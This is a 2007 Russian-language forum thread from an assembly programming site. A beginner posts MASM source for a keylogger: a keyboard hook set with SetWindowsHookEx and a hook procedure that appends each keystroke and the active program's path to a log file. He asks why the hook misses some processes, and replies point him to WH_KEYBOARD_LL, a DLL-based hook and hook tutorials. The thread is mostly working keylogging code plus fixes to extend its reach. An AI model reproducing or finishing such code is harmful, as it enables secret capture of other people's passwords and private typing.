KeyLogger

Discussion in 'WASM.BEGINNERS' started by ZX_CodeR, Jun 15, 2007.

  1. ZX_CodeR

    ZX_CodeR New Member

    Blog Posts:
    0
    Joined:
    Jun 13, 2007
    Messages:
    48
    Пишу keylogger.
    Ставлю хук :

    Code (Text):
    1. StartLog PROC
    2. invoke SetWindowsHookEx, WH_KEYBOARD, addr KeyboardHookProc, Inst, NULL
    3. mov HookHandle, eax
    4. ret
    5. StartLog ENDP
    хуковская процедура (szCurAppNm - путь к текущей апликухе ;szCurApp - путь к прошлой апликухе) :

    Code (Text):
    1. KeyboardHookProc PROC nCode:DWORD, wParam:WPARAM, lParam:LPARAM
    2. .IF (nCode == HC_ACTION) && (wParam != 0)
    3.   mov eax, lParam
    4.   shr eax, 16
    5.   .IF (ax & KF_UP || ax & KF_REPEAT)
    6.     invoke FindFirstFile, addr szFName, addr FindData
    7.       .IF eax == INVALID_HANDLE_VALUE
    8.         invoke FindClose, eax
    9.         invoke CreateFile, addr szFName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
    10.         invoke CloseHandle, eax
    11.       .ENDIF
    12.     invoke CreateFile, addr szFName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
    13.     mov FHandle, eax
    14.     invoke SetFilePointer, FHandle, 0, NULL, FILE_END
    15.     invoke GetModuleHandle, NULL
    16.     invoke GetModuleFileNameA, eax, addr szCurAppNm, 300
    17.     invoke lstrcmpi, addr szCurAppNm, addr szCurApp
    18.     cmp eax, 0
    19.     jz AppNmSm
    20.     invoke lstrcpy, addr szCurApp, addr szCurAppNm
    21.     invoke wsprintf, addr szFBuf, addr szHeader, addr szCurAppNm
    22.     invoke lstrlen, addr szFBuf
    23.     invoke WriteFile, FHandle, addr szFBuf, eax, addr BytesWritten, 0
    24.     AppNmSm:
    25.     invoke WriteFile, FHandle, addr wParam, 1, addr BytesWritten, 0
    26.     invoke CloseHandle, FHandle
    27.   .ENDIF
    28. .ENDIF
    29. invoke CallNextHookEx, HookHandle, nCode, wParam, lParam
    30. ret
    31. KeyboardHookProc ENDP
    Но почему то , мой хук вклиниваеться не во все процессы :dntknw: ...
     
  2. lamer2k

    lamer2k New Member

    Blog Posts:
    0
    Joined:
    May 14, 2006
    Messages:
    88
    Код - жесть :-D
     
  3. q_q

    q_q New Member

    Blog Posts:
    0
    Joined:
    Oct 5, 2003
    Messages:
    1,706
    ZX_CodeR
    WH_KEYBOARD_LL
     
  4. wasm_test

    wasm_test wasm test user

    Blog Posts:
    0
    Joined:
    Nov 24, 2006
    Messages:
    5,582
    В dll выносить хук не пробовал?
     
  5. RamMerLabs

    RamMerLabs Well-Known Member

    Blog Posts:
    0
    Joined:
    Sep 11, 2006
    Messages:
    1,426
    читаем уроки Iczelion'а. Там о хуках нормально написано.